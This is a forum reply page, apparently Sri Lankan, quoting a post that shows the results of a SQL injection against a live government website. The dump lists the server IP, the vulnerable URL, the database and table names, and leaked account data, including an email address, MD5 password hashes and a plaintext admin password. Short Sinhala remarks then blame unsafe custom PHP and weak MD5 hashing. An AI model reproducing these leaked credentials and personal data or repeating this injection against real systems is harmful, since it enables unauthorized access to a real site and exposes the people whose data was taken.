Reply to thread

Message

<blockquote data-quote="GT9" data-source="post: 20607119" data-attributes="member: 478359">[CODE]############################ Host IP: 184.173.17.142 ## Web Server: Apache&nbsp; &nbsp; &nbsp; ## DB Server: MySQL &gt;=5&nbsp; &nbsp; ############################Target: http://www.president.gov.lk/photoAlbumViewThumbs.php?titleId=20110421111233'&nbsp;*Current DB: presiden_db&nbsp;*Tables Name:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Columnswritings&nbsp; &nbsp; &nbsp;&nbsp; users -------&gt;&nbsp; timestamp email userlevel userid password usernamespeeches&nbsp; &nbsp; &nbsp;&nbsp; pre_users -------&gt;&nbsp; userLevel password userName userIDpre_news&nbsp; &nbsp; &nbsp;&nbsp; pre_events&nbsp; &nbsp;&nbsp; photogallery&nbsp;&nbsp; photoalbumtitlephotoalbum&nbsp; &nbsp;&nbsp; inter&nbsp; homeimage&nbsp; &nbsp; &nbsp; banned_users&nbsp;&nbsp; active_users&nbsp;&nbsp; active_guests&nbsp; &nbsp;*Data:&nbsp;&nbsp; &nbsp; username&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; password&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; email&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; userlevel&nbsp; &nbsp; useronly&nbsp; &nbsp; b420243d6f14831b8a1098ee10fb0450&nbsp; &nbsp; &nbsp; &nbsp; yasanthi@ceylonit.com&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; 1&nbsp; &nbsp;&nbsp; admin&nbsp; &nbsp; &nbsp; 8a8644842043beaf6fa725e1b71675b3&nbsp; &nbsp; &nbsp; &nbsp; yasanthi@ceylonit.com&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; 9&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; userName&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; password&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; UserLevel&nbsp; &nbsp; &nbsp;&nbsp; admin&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; gvt123&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 1[/CODE]Target: <a href="http://www.president.gov.lk/photoAlbumViewThumbs.php?titleId=20110421111233" target="_blank">http://www.president.gov.lk/photoAlbumViewThumbs.php?titleId=20110421111233</a>'ඔය තියෙන්නේ <img src="/styles/default/xenforo/smilies/default/P.gif"&nbsp; class="smilie" loading="lazy" alt=":P" title=":P&nbsp; &nbsp; :P" data-shortname=":P" /> කස්ටම් php එකකින් තමයි photo album view කරන්න හදල තියෙන්නේ. cms වල අනම් මනම් Plugins දාල නැත්නම් by default sql injection වලට ආරක්ෂාව තියෙනව. අනික බලන්න යූසර් නේම් එක හෙනම කොමන් අනික password hashing algo එකත් හෙනම පරන එකක්, md5 ද කොහෙද, දැනට හොදම blowfish slow password hashing algo එක. ඒකේ characters 60 ක් තියෙනව.ගොඩක් gov sites ඔහොම තමයි.ඔච්චර දගලන්න දෙයක් නෑ Jekyll වගේ static generator එකක් යූස් කරානම් කිසි කරදරයක් නෑ.</blockquote>

[QUOTE="GT9, post: 20607119, member: 478359"] [CODE]########################### # Host IP: 184.173.17.142 # # Web Server: Apache # # DB Server: MySQL >=5 # ########################### Target: http://www.president.gov.lk/photoAlbumViewThumbs.php?titleId=20110421111233' *Current DB: presiden_db *Tables Name: Columns writings users -------> timestamp email userlevel userid password username speeches pre_users -------> userLevel password userName userID pre_news pre_events photogallery photoalbumtitle photoalbum inter homeimage banned_users active_users active_guests *Data: username password email userlevel useronly b420243d6f14831b8a1098ee10fb0450 yasanthi@ceylonit.com 1 admin 8a8644842043beaf6fa725e1b71675b3 yasanthi@ceylonit.com 9 userName password UserLevel admin gvt123 1[/CODE] Target: [url]http://www.president.gov.lk/photoAlbumViewThumbs.php?titleId=20110421111233[/url]' ඔය තියෙන්නේ :P කස්ටම් php එකකින් තමයි photo album view කරන්න හදල තියෙන්නේ. cms වල අනම් මනම් Plugins දාල නැත්නම් by default sql injection වලට ආරක්ෂාව තියෙනව. අනික බලන්න යූසර් නේම් එක හෙනම කොමන් අනික password hashing algo එකත් හෙනම පරන එකක්, md5 ද කොහෙද, දැනට හොදම blowfish slow password hashing algo එක. ඒකේ characters 60 ක් තියෙනව. ගොඩක් gov sites ඔහොම තමයි. ඔච්චර දගලන්න දෙයක් නෑ Jekyll වගේ static generator එකක් යූස් කරානම් කිසි කරදරයක් නෑ. [/QUOTE]

Verification

Hathara warak wissa keeyada? (Hathara wadi karanna 20)

Search

Latest ads

Reply to thread